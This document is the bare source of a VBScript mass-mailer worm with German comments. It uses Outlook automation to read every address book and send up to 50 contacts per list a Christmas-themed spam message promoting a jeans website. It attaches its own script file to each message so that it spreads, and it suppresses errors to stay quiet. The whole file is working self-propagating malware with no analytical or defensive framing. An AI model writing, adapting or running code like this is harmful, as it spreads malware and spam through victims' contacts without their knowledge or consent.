Dim MyOutlook Dim MyNameSpace Dim MyEMail Dim MyReceiver Dim x Dim y Dim i On Error Resume Next '*** Outlook-Objekt im Speicher erstellen Set MyOutlook = CreateObject("Outlook.Application") Set MyNameSpace = MyOutlook.GetNameSpace("MAPI") If MyOutlook = "Outlook" Then MyNameSpace.Logon "profile", "password" '*** Adressbuch auslesen und Mails generieren For y = 1 To MyNameSpace.AddressLists.Count Set AddyBook = MyNameSpace.AddressLists(y) x = 1 Set MyEMail = MyOutlook.CreateItem(0) For i = 1 To AddyBook.AddressEntries.Count MyReceiver = AddyBook.AddressEntries(x) MyEMail.Recipients.Add MyReceiver x = x + 1 If x > 50 Then i = AddyBook.AddressEntries.Count End If Next '*** Nur Gültige MailAdressen beliefern If Trim(MyReceiver & "LEER") <> "LEER" Then '*** Mailbetreff und Mailtext festlegen MyEMail.Subject = "News vom Weihnachtsmann " & Application.UserName MyEMail.Body = "Guten Tag, " & vbCrLf & vbCrLf & _ "es ist bald Weihnachten. " & vbCrLf & _ "Und wie sieht's aus mit schönen Geschenken ? " & vbCrLf & vbCrLf & _ "Hierzu ein Tip vom Weihnachtsmann: " & vbCrLf & _ "Unter www.leos-jeans.de gibt es die besten Geschenke im Web !" & vbCrLf & _ "Das bedeutet absolut stressfreies Einkaufen, schnelle und unkomplizierte Lieferung, riesige Auswahl." & vbcrlf & _ vbCrLf & vbCrLf & "Also nichts wie hin, und Frohe Weihnachten." '*** Mailanhang an Mail anfügen MyEMail.Attachments.Add WScript.ScriptFullName MyEMail.Send End If MyReceiver = "" Next MyNameSpace.Logoff End If